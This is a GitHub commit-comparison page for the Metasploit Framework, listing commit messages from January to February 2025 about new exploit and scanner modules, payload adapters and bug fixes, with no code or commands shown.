Compare commits

...

1107 Commits

Author SHA1 Message Date
EasyMoney322 aa5eda4876 Fix 404 link in eicar.txt (#19912)
Updated the link to EICAR's test-file as the old one returns 404
2025-02-27 16:17:10 +00:00
h00die 689fb49b6e correct password in hashes table (#19911) 2025-02-27 15:15:45 +00:00
jenkins-metasploit c1a81ebf5a automatic module_metadata_base.json update 2025-02-27 14:35:25 +00:00
Diego Ledda 7e0b3af790 Land #19879, Add MsDtypSecurityDescriptor to_sddl_text
Land #19879, Add MsDtypSecurityDescriptor to_sddl_text
2025-02-27 15:28:27 +01:00
Diego Ledda 8c24e98fdd Land #19902, Fix byte to int conversion in MsAdts
Land #19902, Fix byte to int conversion in MsAdts
2025-02-27 15:25:50 +01:00
Metasploit 1d801225df Bump version of framework to 6.4.52 2025-02-27 03:33:05 -06:00
jenkins-metasploit 5bb99d120f automatic module_metadata_base.json update 2025-02-26 19:30:51 +00:00
Spencer McIntyre c49b49bdcd Merge pull request #19893 from bwatters-r7/fix/loadmaster_priv_esc_cve
Remove errant CVE reference.
2025-02-26 14:24:09 -05:00
Spencer McIntyre d37039c08f Add tests for byte to int conversions 2025-02-26 09:29:35 -05:00
Spencer McIntyre b853168a89 Make common byte to int conversion functions 2025-02-26 09:29:30 -05:00
Spencer McIntyre fcee4db5d0 Reorder the buffer fields to match windows 2025-02-25 17:44:54 -05:00
jenkins-metasploit 0cbd4d1db2 automatic module_metadata_base.json update 2025-02-25 12:20:54 +00:00
Diego Ledda 8dd032e529 Land #19897, Invoice Ninja unauthenticated RCE (CVE-2024-55555) and Laravel Crypto Killer mixin
Land #19897, Invoice Ninja unauthenticated RCE (CVE-2024-55555) and Laravel Crypto Killer mixin
2025-02-25 13:14:18 +01:00
Diego Ledda 1c27e2a958 docs: update docs for rubocop 2025-02-25 12:15:52 +01:00
jenkins-metasploit b0cd258540 automatic module_metadata_base.json update 2025-02-25 11:10:14 +00:00
Diego Ledda f046e70b76 Land #19894, SimpleHelp Path Traversal CVE-2024-57727
Land #19894, SimpleHelp Path Traversal CVE-2024-57727
2025-02-25 12:00:34 +01:00
jenkins-metasploit 458d086fa6 automatic module_metadata_base.json update 2025-02-25 10:42:49 +00:00
msutovsky-r7 576ff2fb5c Land #19878, MyScada MyPro Manager Credential Harverster Module
mySCADA MyPRO Manager Credential Harvester (CVE-2025-24865 & CVE-2025-22896) Module
2025-02-25 11:35:59 +01:00
Spencer McIntyre 3487b485e9 Fix an API change from an old commit (#19880) 2025-02-25 10:15:33 +00:00
jenkins-metasploit b55a945669 automatic module_metadata_base.json update 2025-02-25 09:50:00 +00:00
Diego Ledda 33d0c0c9fd Land #19881, NetAlertX File Read (CVE-2024-48766)
Land #19881, NetAlertX File Read (CVE-2024-48766)
2025-02-25 10:42:52 +01:00
Martin Sutovsky 183d5823cc Rollback of fix for check method 2025-02-25 10:21:31 +01:00
Jack Heysel e4ee651c9b Updated docs, fixed Notes 2025-02-24 10:26:01 -08:00
h00die-gr3y 79411eace8 added code sugesstions from dledda-r7 2025-02-24 15:51:32 +00:00
Martin Sutovsky fae3d8390a Calling check method fix & Additional documentation 2025-02-24 15:52:00 +01:00
H00die.Gr3y 2d55f5c16e Update documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-02-24 15:51:06 +01:00
Martin Sutovsky e883da86cc Adding report_vuln 2025-02-24 12:19:59 +01:00
Martin Sutovsky f7342139b4 Code refactor based on PR 2025-02-24 12:05:04 +01:00
h00die-gr3y 41e690445e simplified some code sections 2025-02-23 12:59:52 +00:00
h00die-gr3y ece33ee8ec added documentation 2025-02-23 09:54:26 +00:00
H00die.Gr3y b3a5da976b Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-22 10:35:45 +01:00
h00die-gr3y 47a2079d19 initial module and laravel crypto killer mixin 2025-02-21 18:09:28 +00:00
Jack Heysel fc25e177fc SimpleHelp Path Traversal CVE-2024-57727 2025-02-21 08:15:46 -08:00
jenkins-metasploit e7ed432159 automatic module_metadata_base.json update 2025-02-21 01:30:23 +00:00
Brendan e9fc6e3b27 Merge pull request #19841 from h00die-gr3y/raspberrymatic-unauth-rce
RaspberryMatic unauthenticated RCE (Zip Slip) [CVE-2024-24578]
2025-02-20 19:22:30 -06:00
h00die-gr3y 215957465c added default options and updated documentation 2025-02-20 13:19:41 -06:00
h00die-gr3y 15c20272ea removed linux dropper code and tested with PR 19850 2025-02-20 13:19:41 -06:00
h00die-gr3y fcc929e228 updated documentation with Linux Dropper (x86_64) target scenario 2025-02-20 13:19:41 -06:00
h00die-gr3y f857e5fe67 fixed code review and updated documentation 2025-02-20 13:19:41 -06:00
H00die.Gr3y 38b3741a15 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-20 13:19:41 -06:00
h00die-gr3y 682be79920 first release module and documentation 2025-02-20 13:19:41 -06:00
h00die-gr3y baac1fc9d0 init commit module 2025-02-20 13:19:40 -06:00
Martin Sutovsky 2cdaf98c74 Fixing descriptions, filename, adding correct CVE and code reformat 2025-02-20 19:48:36 +01:00
msutovsky-r7 27120235d4 Merge branch 'rapid7:master' into netalert_file_read 2025-02-20 19:47:55 +01:00
Metasploit 3613013938 Bump version of framework to 6.4.51 2025-02-20 11:47:22 -06:00
jenkins-metasploit 42a7ff093d automatic module_metadata_base.json update 2025-02-20 16:20:32 +00:00
Brendan c7d59ce829 Merge pull request #19875 from dledda-r7/fix/aarch64-sigill-raspberrypi
Fix SIGILL on staged meterpreter on RaspberryPi4
2025-02-20 10:14:07 -06:00
h4x-x0r 0aad255e13 updated
updated
2025-02-20 15:40:05 +00:00
bwatters-r7 c8aea65c7a Remove errant CVE reference. 2025-02-20 08:19:23 -06:00
jenkins-metasploit 0b0b9bb68a automatic module_metadata_base.json update 2025-02-20 10:51:07 +00:00
Diego Ledda 4374484147 Land #19850, Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64, ppc64le
Land #19850, Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64, ppc64le
2025-02-20 11:43:17 +01:00
bwatters-r7 8cbcdd1f6c Add PPC64LE Fetch payloads 2025-02-19 18:10:55 -06:00
bwatters-r7 87ec9ee137 Remove CBEA64 arch values so PPC64 arches have only 1 arch value
Multiple arches broke payload adaptyers and we do not use them, anyway
2025-02-19 17:57:39 -06:00
dledda-r7 cdac13550b fix: sync syscall comment 2025-02-19 03:58:11 -05:00
jenkins-metasploit d626e56089 automatic module_metadata_base.json update 2025-02-19 01:40:04 +00:00
Brendan 66d657f385 Merge pull request #19810 from h00die/fix_loadmaster_2024
Fix loadmaster privesc check method and refs
2025-02-18 19:34:00 -06:00
Brendan e9d4a9d918 Merge pull request #19858 from msutovsky-r7/fileless_elf_execution
Fileless elf execution
2025-02-18 15:05:47 -06:00
Simon Janusz 8f00370370 Make datastore to_h sane (#19890)
* Bump metasploit_data_models gem

* Make datastore to_h sane
2025-02-18 15:54:53 +00:00
Martin Sutovsky 0d87703dd8 Land #19871, fixing ELF version in Aarch64 template 2025-02-18 15:43:25 +01:00
jenkins-metasploit d0000af09a automatic module_metadata_base.json update 2025-02-18 13:08:28 +00:00
Martin Sutovsky bd42b23ef0 Land #19883, module for unauthenticated RCE in InvokeAI 2025-02-18 14:01:11 +01:00
msutovsky-r7 f132b8ffe1 Update documentation/modules/auxiliary/scanner/http/netalertx_file_read.md
Co-authored-by: Takahiro Yokoyama <tkhr.y0k0yama@gmail.com>
2025-02-18 13:44:26 +01:00
msutovsky-r7 7cf02c5b14 Update modules/auxiliary/scanner/http/netalertx_file_read.rb
Co-authored-by: Takahiro Yokoyama <tkhr.y0k0yama@gmail.com>
2025-02-18 13:44:21 +01:00
Takahiro Yokoyama 6eaae79dc2 Update modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-02-18 21:21:19 +09:00
Takah1ro 32db7ee6ae Use plain payload 2025-02-18 08:22:15 +09:00
Takah1ro 3ce313ac89 Rubocop formatting 2025-02-18 08:14:56 +09:00
Takahiro Yokoyama a26572d318 Update modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-02-18 08:09:25 +09:00
jenkins-metasploit e60be7fcfb automatic module_metadata_base.json update 2025-02-17 16:51:25 +00:00
msutovsky-r7 05c9550d43 Land #19877, BeyondTrust Privileged Remote Access & Remote Support RCE Module
Exploit module for BeyondTrust Privileged Remote Access & Remote Support (CVE-2024-12356, CVE-2025-1094)
2025-02-17 17:43:15 +01:00
sfewer-r7 65e2a20a5d We can remove this line as it is redundant. The regex that follows will check for the same thing as part of its matching expression. Thanks msutovsky-r7 for spoting this. 2025-02-17 16:33:11 +00:00
cgranleese-r7 2e9326897f Land #19887, Update reload_lib to ignore gemfiles 2025-02-17 14:14:02 +00:00
adfoster-r7 f16d31b7b1 Update reload_lib to ignore gemfiles 2025-02-17 13:50:41 +00:00
sfewer-r7 bb9013a8ee check the frame for nil 2025-02-17 12:29:50 +00:00
cgranleese-r7 80922124c8 Land #19884, Add osvdb search to msfconsole 2025-02-17 12:19:52 +00:00
sfewer-r7 6f1287d899 add in some logic to detect potentially failed exploitation due to the patch being applied, warning a user of a WebSocket getting closed unexpectadly 2025-02-17 12:17:15 +00:00
sfewer-r7 fbef2baf5c remove the uneeded parenthesis and make rubocop happy. 2025-02-17 11:44:50 +00:00
sfewer-r7 c950264a85 Add some comments in the check routine to note theres is no known lower bound version number, and the patch does not change the version number. 2025-02-17 11:35:22 +00:00
Stephen Fewer ed54130346 Explicitly close the WebSocket connection
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-02-17 11:35:03 +00:00
Takah1ro 611556571f Update document 2025-02-17 20:32:43 +09:00
dwelch-r7 19c6cd899c Land #19885, Improve module search performance 2025-02-17 11:27:54 +00:00
adfoster-r7 a66981f9e7 Improve module search performance 2025-02-17 11:08:42 +00:00
adfoster-r7 3f85d6d46d Add osvb search to msfconsole 2025-02-17 10:06:39 +00:00
Stephen Fewer 130895671f Remove a duplicate work in this comment (Thanks jvoisin)
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-17 09:46:59 +00:00
Stephen Fewer 6ed60547a3 Print the actual status code in the error message (Thanks msutovsky-r7)
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-02-17 09:43:46 +00:00
Stephen Fewer eb1feba767 Fix typo in comment (Thanks jvoisin)
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-17 09:42:50 +00:00
Takah1ro b454a32f3c Fix typo and update document 2025-02-17 12:52:50 +09:00
Martin Sutovsky dddcdccbef Fixing generating certutil fetch command 2025-02-16 20:31:24 +01:00
msutovsky-r7 e284ea5dc7 Merge branch 'rapid7:master' into fileless_elf_execution 2025-02-16 20:01:15 +01:00
Takah1ro 0945fbba81 Add InvokeAI unauth RCE module (CVE-2024-12029) 2025-02-16 15:49:56 +09:00
msutovsky-r7 b647aec3cb Merge pull request #2 from bwatters-r7/collab/19858
Slight fixes and prep for adding piped fetch payloads
2025-02-14 16:06:27 +01:00
Martin Sutovsky 00d4feb2b5 Adding documentation, file renaming 2025-02-14 14:43:43 +01:00
sfewer-r7 2d858ac1f0 Improve the auto discovery of the target site info. We can query an undocumented API endpoint to discover the target site company name. 2025-02-14 09:38:13 +00:00
Martin Sutovsky f44620939f Adding module for NetAlertX File Read 2025-02-14 10:35:05 +01:00
dledda-r7 80b76e4f5f docs: add reference to the pull-request inside source 2025-02-14 04:33:06 -05:00
Spencer McIntyre 48c4ce56e4 Raise a specific error and update specs 2025-02-14 01:42:22 -05:00
Spencer McIntyre c9dc97c242 Update some modules to print the SDDL 2025-02-13 17:19:43 -05:00
Spencer McIntyre c979d8d477 Add the #to_sddl_text method for security descriptors 2025-02-13 17:19:37 -05:00
h4x-x0r 5a9df32e14 update 2025-02-13 21:45:29 +00:00
bwatters-r7 46e97e3776 Slight fixes and prep for adding piped fetch payloads 2025-02-13 11:35:06 -06:00
sfewer-r7 9fc8b3b0dc fix a typo 2025-02-13 15:12:23 +00:00
sfewer-r7 90daccd948 add in link to AKB analysis 2025-02-13 15:10:41 +00:00
simonirwin-r7 d9cb3651f4 PD-49865 set Cortex tags to identify repo exposure (#19876) 2025-02-13 14:46:33 +00:00
sfewer-r7 d93a99c504 rename the module 2025-02-13 12:51:46 +00:00
Metasploit 9dac85e3c9 Bump version of framework to 6.4.50 2025-02-13 03:34:13 -06:00
Brendan 7b4678564a Update modules/payloads/adapters/cmd/linux/https/ppc64.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-02-12 15:52:15 -06:00
Brendan 3465b57e48 Update modules/payloads/adapters/cmd/linux/tftp/ppc64.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-02-12 15:52:08 -06:00
Brendan b7dd63f0a9 Update modules/payloads/adapters/cmd/linux/tftp/ppc.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-02-12 15:52:03 -06:00
Brendan c098665a2e Update modules/payloads/adapters/cmd/linux/http/ppc64.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-02-12 15:51:57 -06:00
Brendan 6424a4a387 Update modules/payloads/adapters/cmd/linux/http/ppc.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2025-02-12 15:51:49 -06:00
bwatters-r7 4e5a21bfab Update payload cache size 2025-02-12 13:40:34 -06:00
sfewer-r7 18f0bbeaf0 add in the new CVE ID for the PosgreSQL vuln 2025-02-12 17:23:19 +00:00
sfewer-r7 37276446a6 improve the description for this option 2025-02-12 17:22:43 +00:00
sfewer-r7 c9be9b65ec fix typos in docs 2025-02-12 17:22:17 +00:00
dledda-r7 d22ed19b02 fix: fix port number offset 2025-02-12 11:49:35 -05:00
dledda-r7 4876320814 fix: add sync syscall after read to prevent sigill in raspberrypi 2025-02-12 11:33:45 -05:00
h00die a5d7dfb139 Merge pull request #19870 from jmartin-tech/fix/expand-data-workflow-perms
allow workflow content write
2025-02-12 08:14:32 -05:00
jenkins-metasploit 10a3b267b8 automatic module_metadata_base.json update 2025-02-11 22:21:40 +00:00
Spencer McIntyre a9ab6668a4 Merge pull request #19873 from adfoster-r7/remove-report-note-calls-from-vuln-cert-finder
Remove report note calls from vuln cert finder
2025-02-11 17:15:25 -05:00
Spencer McIntyre 31b8fad08f Allow SIDs to be set by strings 2025-02-11 17:00:46 -05:00
adfoster-r7 0fefe063ad Remove report note calls from vuln cert finder 2025-02-11 21:21:55 +00:00
bwatters-r7 d031df5b6b Change the aarch64 elf version in template file and reassemble 2025-02-11 08:47:14 -06:00
jenkins-metasploit 517bf5481d automatic module_metadata_base.json update 2025-02-11 08:32:04 +00:00
Martin Sutovsky 984f0dbb15 Land #19868, NetAlertX RCE module 2025-02-11 08:23:57 +01:00
Jeffrey Martin 13df710797 allow content write
To enabled branch and commit `content` must be added
2025-02-10 22:26:04 -06:00
Takah1ro 2db7f4f186 Use BadChars and Base64Decoder 2025-02-11 11:25:24 +09:00
Takahiro Yokoyama edbdb985e3 Apply suggestions from code review
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-11 08:59:37 +09:00
adfoster-r7 9396e1c91b Merge pull request #19869 from adfoster-r7/consolidate-datastore-with-fallbacks-logic
Consolidate datastore with fallbacks logic
2025-02-10 19:10:17 +00:00
msutovsky-r7 d96d980a24 Land #19846, module for CVE-2024-47407 MySCADA MyPro Manager
mySCADA MyPRO Manager Command Injection (CVE-2024-47407) Module
2025-02-10 16:25:32 +01:00
Takah1ro 9f43fcc7ad Update FETCH_COMMAND default to curl 2025-02-10 22:00:52 +09:00
Takah1ro 8d59201447 Update document 2025-02-10 21:38:14 +09:00
Takah1ro 7149d3f332 Leave cleanup as an option 2025-02-10 21:31:50 +09:00
Takah1ro 92a73b1fed Fix after applying suggestions 2025-02-10 21:18:19 +09:00
Takahiro Yokoyama 127adda3df Update modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-02-10 21:06:50 +09:00
Takah1ro b02838a8dd NetAlertx -> NetAlertX 2025-02-10 12:52:26 +09:00
adfoster-r7 8e9c144e2c Consolidate datastore with fallbacks logic 2025-02-09 20:26:52 +00:00
Martin Sutovsky 881ae72550 Optimizing execution of fetch command in bash 2025-02-09 09:17:19 +01:00
Takah1ro 4f584bd5a4 Use cron restart 2025-02-08 17:35:55 +09:00
Takah1ro 00f4f80530 Add NetAlertx rce module (CVE-2024-46506) 2025-02-08 14:40:31 +09:00
h4x-x0r 85875d8338 Removed ampersand
Removed ampersand
2025-02-08 02:30:57 +00:00
h4x-x0r 41a0e089ea CVE-2025-24865 & CVE-2025-22896
CVE-2025-24865 & CVE-2025-22896
2025-02-08 02:22:11 +00:00
Simon Janusz 300e99db01 Land #19867, Update nokogiri dependency
Update nokogiri dependency
2025-02-07 16:48:26 +00:00
adfoster-r7 ad8c1c3f43 Update nokogiri dependency 2025-02-07 16:26:52 +00:00
Martin Sutovsky dfb1ed6d30 Land #19842, fixing jtr_format for NTLM hashes 2025-02-07 13:24:10 +01:00
adfoster-r7 94c1167515 Merge pull request #19829 from cgranleese-r7/updates-meterpeter-pipeline-to-build-payloads-gem
Updates `shared_meterpreter_acceptance.yml` pipeline to build the metasploit-payloads gem
2025-02-07 12:05:01 +00:00
Martin Sutovsky ed648e9eca Adding more reliable fileless fetch payload 2025-02-07 10:12:28 +01:00
jheysel-r7 cddfb499b7 Merge pull request #19864 from jmartin-tech/fix/restrict-workflow-to-r7
Restrict weekly data PR tooling to rapid7 repo
2025-02-06 11:15:31 -08:00
jheysel-r7 6861b1fb67 Merge pull request #19729 from sempervictus/bug/shell_command_overlap
Fix overlap of shell built-in commands with host's
2025-02-06 10:27:12 -08:00
Martin Sutovsky 6d073540e8 More elegant way of generating fileless payload, code refactor based on comments 2025-02-06 19:22:36 +01:00
Jeffrey Martin 6da074e164 Restrict weekly PR tooling to rapid7 repo 2025-02-06 09:27:40 -06:00
jenkins-metasploit 7112fb27e6 automatic module_metadata_base.json update 2025-02-06 14:06:13 +00:00
Brendan 853b42cfaf Merge pull request #19851 from zeroSteiner/feat/mod/adcs-cert-template-flags
Parse and display the flags field
2025-02-06 08:00:02 -06:00
Martin Sutovsky 50c95af7e0 Refactoring fileless execution, adjusting generating fetch commands 2025-02-06 11:28:05 +01:00
Metasploit 05a2e9dc9f Bump version of framework to 6.4.49 2025-02-06 03:32:51 -06:00
jheysel-r7 deef85deb6 Merge pull request #19779 from h00die/action_update_weekly
Weekly Updater Action
2025-02-05 10:10:30 -08:00
jenkins-metasploit 7f5f459c86 automatic module_metadata_base.json update 2025-02-05 17:51:07 +00:00
jheysel-r7 476ad5bb94 Merge pull request #19856 from bwatters-r7/update/esc8-auto-dc
Change behavior of esc8 'AUTO' mode to attempt to get a cert based on DC and Machine types
2025-02-05 09:44:47 -08:00
Martin Sutovsky e3bb4791e1 Refactoring based on comments 2025-02-05 13:55:58 +01:00
Martin Sutovsky 0d558a1f71 Fileless execution condition specified 2025-02-05 09:08:34 +01:00
Martin Sutovsky b678126361 Code factor, adding comments 2025-02-05 07:33:42 +01:00
h00die e6fb4f876e Update .github/workflows/weekly-data-and-external-tool-updater.yml
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-02-04 16:45:40 -05:00
bwatters-r7 7e8c35257e Update docs, fix space in module 2025-02-04 15:41:33 -06:00
Diego Ledda f22295b10f Land #19857, Ivanti HTTP Module fix
Land #19857, Ivanti HTTP Module fix
2025-02-04 19:08:41 +01:00
Martin Sutovsky a2044acc42 Bug fixed 2025-02-04 15:38:59 +01:00
Martin Sutovsky b98fb7553d Adding FETCH_FILELESS option 2025-02-04 13:26:50 +01:00
msutovsky-r7 20d2a6c7a7 Merge branch 'rapid7:master' into fileless_elf_execution 2025-02-04 09:47:02 +01:00
Martin Sutovsky 6ab32cde32 Ivanti HTTP Module fix based on remaining comments 2025-02-04 07:24:10 +01:00
bwatters-r7 3f8db70d45 Change behavior of 'AUTO' mode to attempt to get a cert based on DomainController and Machine templates 2025-02-03 17:10:31 -06:00
Spencer McIntyre 0caaa5d655 Parse and display the flags field 2025-02-03 17:29:33 -05:00
jenkins-metasploit 90ad8b66d8 automatic module_metadata_base.json update 2025-02-03 20:49:51 +00:00
jheysel-r7 652fbf1a62 Merge pull request #19813 from h00die/local_version_patch
guard Rex::Version.new against crashes on local modules
2025-02-03 12:43:37 -08:00
jenkins-metasploit 4aedaaa222 automatic module_metadata_base.json update 2025-02-03 17:24:03 +00:00
Diego Ledda ba8d5b7f5a Land #19844, Add Ivanti Connect Secure HTTP Login Module
Land #19844, Add Ivanti Connect Secure HTTP Login Module
2025-02-03 18:17:36 +01:00
msutovsky-r7 46d2d4c63d Update lib/metasploit/framework/login_scanner/ivanti_login.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-02-03 18:05:54 +01:00
Martin Sutovsky 834e499b2a Adding check for presence of logout token 2025-02-03 16:44:01 +01:00
Martin Sutovsky 09db1f4e72 Adding documentation 2025-02-03 15:29:49 +01:00
Martin Sutovsky f06a2d47f8 Code refactor, merging classes into one 2025-02-03 06:34:49 +01:00
jenkins-metasploit 88ba2de1be automatic module_metadata_base.json update 2025-01-31 23:07:31 +00:00
jheysel-r7 f3eefc0d7e Merge pull request #19849 from zeroSteiner/feat/mod/ldap/esc-finder-updates
AD CS Workflow Related Changes
2025-01-31 15:00:14 -08:00
jenkins-metasploit ec9edc5d6c automatic module_metadata_base.json update 2025-01-31 22:05:36 +00:00
jheysel-r7 373ea48838 Merge pull request #19847 from TheBigStonk/argus_dvr_4_lfi_cve_2018_15745
Argus LFI Auxiliary Module with Associated Doc (CVE-2018-15745)
2025-01-31 13:59:27 -08:00
jheysel-r7 6f945ca1ce Merge pull request #19837 from adfoster-r7/fix-task-service-tracking-bug
Fix task service tracking bug
2025-01-31 13:56:00 -08:00
jheysel-r7 917196b8a1 Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb 2025-01-31 12:49:35 -08:00
jheysel-r7 7259548cb9 Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb 2025-01-31 11:52:00 -08:00
Spencer McIntyre 0013db1822 Fix a regression in the loop logic 2025-01-31 14:48:57 -05:00
Spencer McIntyre f8dfaae599 Guard FQDN lookup logic a bit more
Use DNS first, then fail back to LDAP
2025-01-31 09:42:22 -05:00
sfewer-r7 c6d03069a9 add in the documentation 2025-01-31 11:02:01 +00:00
sfewer-r7 d887ab5fac add in module option to leverage CVE-2024-12356. This option is disabled by default, and we hit the SQLi directly. 2025-01-31 10:01:02 +00:00
TheBigStonk 2003ed7fd0 Fixed changes from rubocop linting 2025-01-31 22:55:32 +13:00
sfewer-r7 528409ba87 add in the exploit for cve-2024-12356 2025-01-31 09:20:54 +00:00
TheBigStonk 3170849147 Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
Adding in RPORT default option

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-31 11:21:48 +13:00
TheBigStonk 6f2ff5110e Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
awesome cutting this one out then :)

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-31 11:20:22 +13:00
TheBigStonk 7adff997d2 Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
TIL, thanks

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-31 11:19:00 +13:00
TheBigStonk cf9e80aa1e Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
Good spot

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-31 11:15:53 +13:00
TheBigStonk 48921cadb6 Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
Apologies for that this is my first module. Yeah want to make sure John Page is given appropriate kudos.

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-31 11:14:51 +13:00
TheBigStonk 22818f07fa Update modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
Oh cool, I'm new-ish to Ruby. Prefer this :)

Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-01-31 11:11:34 +13:00
bwatters-r7 1d3bbcb573 Add specs to pass tests 2025-01-30 14:36:23 -06:00
bwatters-r7 cf5f518590 Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 2025-01-30 13:51:05 -06:00
Spencer McIntyre 61a0981013 Update the spec to accept the failure 2025-01-30 14:43:50 -05:00
Martin Sutovsky 37bfe9368b Addressing comments from pull request 2025-01-30 13:01:40 +01:00
TheBigStonk d67dcda2c6 Added Argus LFI Module and Docs 2025-01-31 00:23:34 +13:00
Metasploit 64be670dfa Bump version of framework to 6.4.48 2025-01-30 03:32:46 -06:00
Spencer McIntyre 5c2056b2e1 Update kerberos/get_ticket to return values 2025-01-29 16:34:25 -05:00
Spencer McIntyre 441b671edd Update to include return values 2025-01-29 16:34:25 -05:00
Spencer McIntyre 210b780f83 Refactor reporting template permissions 2025-01-29 16:34:25 -05:00
Spencer McIntyre e072468042 Some adjustments for ESC4 compatibility with MSP 2025-01-29 16:34:25 -05:00
Spencer McIntyre 7b03844312 Consolidate the report details 2025-01-29 16:34:25 -05:00
Spencer McIntyre 1aa4a1f8c8 Resolve the CA address via DNS records in LDAP 2025-01-29 16:34:25 -05:00
Spencer McIntyre f0f1aa9eb3 Add initial MsDnsp data structures 2025-01-29 16:34:25 -05:00
Spencer McIntyre 3fb94b46c4 Update the ESC finder module's reporting 2025-01-29 16:34:25 -05:00
jenkins-metasploit 7d1c008377 automatic module_metadata_base.json update 2025-01-29 21:19:01 +00:00
jheysel-r7 aa78924f67 Merge pull request #19843 from cdelafuente-r7/fix/mod/ldap_smb_login
Fix ldap_login and smb_login
2025-01-29 13:12:46 -08:00
h4x-x0r 21b3315229 updated
updated
2025-01-29 20:18:05 +00:00
Martin Sutovsky 7ebd4f34ef Adding Ivanti Connect Secure HTTP Login Scaner Module 2025-01-29 15:29:47 +01:00
Christophe De La Fuente 1885b650ba Fix ldap_login and smb_login 2025-01-29 11:10:30 +01:00
jenkins-metasploit 157763b2af automatic module_metadata_base.json update 2025-01-28 21:07:20 +00:00
jheysel-r7 6232463701 Merge pull request #19835 from cdelafuente-r7/fix/kerberos/ticket_lookup
Kerberos ticket lookup fix
2025-01-28 13:01:05 -08:00
Jack Heysel 8e68d1d5f2 Fixed spacing 2025-01-28 10:40:13 -08:00
Jack Heysel 9d50fb66bc Fix jtr_format assignment in HashCapture module 2025-01-28 10:14:36 -08:00
cgranleese-r7 1b50e60a26 Updates meterpreter pipeline to now build the payloads gem 2025-01-28 10:41:14 +00:00
Spencer McIntyre 936e0dfb75 Merge pull request #19833 from cdelafuente-r7/fix/mod/petitpotam
Fix PetitPotam UUID when using EsfRPC with `lsarpc` named pipe
2025-01-27 13:09:14 -05:00
adfoster-r7 fcee7a5972 Rollback origin support for vulns 2025-01-27 12:44:58 +00:00
Christophe De La Fuente b3c2ae4f51 Move EfsrpcOverLsarpc module under the MetasploitModule class 2025-01-27 08:35:00 +01:00
jenkins-metasploit 589b9067e6 automatic module_metadata_base.json update 2025-01-26 17:05:58 +00:00
adfoster-r7 fbe9edfa0c Merge pull request #19836 from 0xAryan/nibbleblog_link_fix
Link fix for exploit/multi/http/nibbleblog_file_upload
2025-01-26 16:59:14 +00:00
0xAryan ddf07a3d60 Link fix for exploit/multi/http/nibbleblog_file_upload 2025-01-26 19:20:12 +05:30
jenkins-metasploit f6e49e43c7 automatic module_metadata_base.json update 2025-01-24 20:43:24 +00:00
Spencer McIntyre 4a8ad46249 Merge pull request #19816 from jheysel-r7/esc_4_detection
Add ESC4 detection to ldap_esc_vulnerable_cert_finder module
2025-01-24 15:37:10 -05:00
jenkins-metasploit 93d16732f2 automatic module_metadata_base.json update 2025-01-24 17:57:22 +00:00
jheysel-r7 bd45ae36a8 Merge pull request #19826 from zeroSteiner/fix/mod/ldap-query/run-single-base
Update ldap_query datastore option usage
2025-01-24 09:50:57 -08:00
adfoster-r7 47fe31754e Merge pull request #19834 from sfewer-r7/fix-http_client-websockets
Fix Exploit::Remote::HttpClient#connect_ws to be spec compliant
2025-01-24 16:43:17 +00:00
Stephen Fewer 4c0f407b39 favor SecureRandom.bytes over Rex::Text.rand_text_alphanumeric
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2025-01-24 16:15:16 +00:00
Jack Heysel 105559e771 Remove typo 2025-01-24 07:35:12 -08:00
sfewer-r7 de6b14e506 change how a Sec-WebSocket-Key is computed to make connect_ws be spec compliant 2025-01-24 14:46:52 +00:00
Christophe De La Fuente 25bd5d736c Fix comparision case for service name hostname 2025-01-24 14:26:58 +01:00
Christophe De La Fuente 45e6daea7d Use the correct UUID when using EsfRPC with lsarpc namedpipe 2025-01-24 11:01:15 +01:00
